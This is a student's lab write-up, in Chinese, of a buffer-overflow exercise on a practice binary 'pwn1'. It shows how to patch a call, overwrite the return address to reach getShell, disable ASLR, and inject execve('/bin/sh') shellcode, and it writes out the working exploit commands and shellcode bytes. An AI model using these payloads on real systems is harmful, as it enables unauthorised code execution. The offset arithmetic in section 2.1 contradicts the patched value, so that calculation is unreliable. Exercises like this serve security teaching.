1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
2.实践过程
2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
修改kali虚拟机名为自己姓名拼音mali
在学习通中下载此次实验需要的压缩包pwn1.zip并解压到桌面文件20232822mali中,然后使用objdump -d pwn1 | more命令对文件进行反汇编
一直回车往下看,可以看到getShell函数、foo函数和main函数
这个main函数调用了另一个函数 foo,并且返回 0 表示成功结束。
main 函数中的 call 指令的结束地址为 0x080484ba,我们现在想让main函数调用getShell 函数而不是原来的foo函数,而getShell 函数的地址为 0x0804847d,现在我们来计算一下:
先计算 call 指令的偏移量:0x0804847d - 0x080484ba = -0x43。
转换偏移量为补码形式:-0x43 的补码为 0xffffffbd。
将补码添加到 call 指令的地址:0x080484ba + 0xffffffbd = 0x08048477。
因此,我们要将 main 函数中的 call 指令的目标地址由 0xffffffd7 修改为 0xffffffc3,这样就可以调用 getShell 函数了。
首先使用cp pwn1 pwn20232822命令复制一份文件pwn1文件,以防后续实验混乱,然后使用vi编辑器打开pwn20232822
进入后看到一堆乱码,我们点击esc退出编辑模式,然后输入:%!xxd将这堆乱码转变为十六进制编码。
输入ls -l命令查看文件及其对应的权限
输入命令vim pwn20232822进入这个文件,输入/e8 d7找到要修改内容的位置
之后回车输入i进入编辑模式将d7改成c3
然后按esc,输入:%!xxd -r将文件格式转换为原来的格式
输入:wq!退出
接着再输入指令objdump -d pwn20232822 | more按回车键往下查找main函数
我们可以看到main函数中已经更改成功了
2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
输入gdb pwn1命令开始调试程序,进入后输入r开始运行程序,输入一定长字符串:123456123456123456123456123456123456
程序输出该字符串,发现报错“Segmentation fault”,原因是输入超过内存空间,程序无法正常退出,产生溢出
输入info r命令查看寄存器eip的值为0x36353433 表示 6543,发现输入的后几位覆盖到了堆栈上的返回地址,但不知道是具体哪个6543被覆盖,所以需要修改字符串重新具体定位。然后只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell
输入r继续调试,再输入一定长字符串:1111111122222222333333334444444412345678
再次输入info -r查看指令寄存器eip内的值为:0x34333231,表示4321。
由此可知,我们输入的字符串中的1234覆盖了返回地址的值,所以接下来把字符串中的1234更改为0x0804847d进行覆盖,并舍弃后面的5678。
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以我们使用perl来生成一个字符串,然后将其重定向到input 文件中,然后使用一个管道将 input 文件的内容与另一个命令 ./pwn1 的输入连接起来,运行后可以看到输出结果,输入命令验证可知此时已经调用了getShell函数。
2.3注入一个自己制作的shellcode并运行这段shellcode
这个实验需要用到execstack,先进入管理员模式使用apt-get install execstack命令进行安装,安装好后使用execstack --help命令查看其使用方法
execstack -s pwn1 #设置允许在栈上执行代码
execstack -q pwn1 #查询文件的栈属性,以确定是否允许在栈上执行代码。如果输出中包含 X,表示该文件允许在栈上执行代码;如果没有 X,表示不允许。
more /proc/sys/kernel/randomize_va_space #查询是否关闭地址空间布局随机化(ASLR)。0:禁用 ASLR;1:启用 ASLR;2:启用更加激进的 ASLR
echo “0” > /proc/sys/kernel/randomize_va_space #将ASLR的级别设置为禁用
现在我们注入自己的shellcode,使用perl 命令生成input_20232822文件,这段 shellcode 的作用是执行一个简单的 shell 脚本,其中先用32个A填充缓存区,\x1\x2\x3\x4应为返回地址,现在还不知道,需要我们继续试验去确定这个地址。
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_20232822
(cat input_20232822;cat) | ./pwn1
另起一个新的终端使用ps -ef | grep pwn1命令查看pwn1的进程号,这里是6937,之后进入gdb开始调试
attach 6937 #将 gdb 连接到pwn1进程,以便后续调试
disassemble foo #反汇编foo函数的机器代码
b *0x080484ae #设置断点
c #继续运行代码(这里输入c后回到刚刚的终端界面回车一下)
info r esp #显示栈指针esp寄存器的值
x/16x 0xffffd03c #从内存地址 0xffffd03c 处开始显示 16 个 16 进制格式的值
所以返回地址计算得出为FFFFD040
所以我们将计算得出的返回地址替换原来的\x1\x2\x3\x4,得到最终的shellcode,运行后可以看到成功了
perl -e 'print "A" x 32;print "\x40\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_20232822
(cat input_20232822;cat) | ./pwn1
3.学习中遇到的问题及解决
- 问题1:安装execstack时出现E: Unable to locate package execstack错误
- 问题1解决方案:输入apt-cache search execstack发现没有反应,查阅资料说要更新源,在管理员模式下进入sources.list文件,添加上一些源后update一下再安装即可成功
-
4.实践总结
这次实验学习了缓冲区溢出攻击,上手实践后也有了更深刻的认识,而且这次试验用到了上学期学习的反汇编的相关知识,感觉知识都融会贯通了,并且这次试验又用到了新的网络安全程序,使用的过程中也遇到了问题,但是都一一解决了,这次试验感觉很深刻,与同学们也进行了探讨,受益匪浅。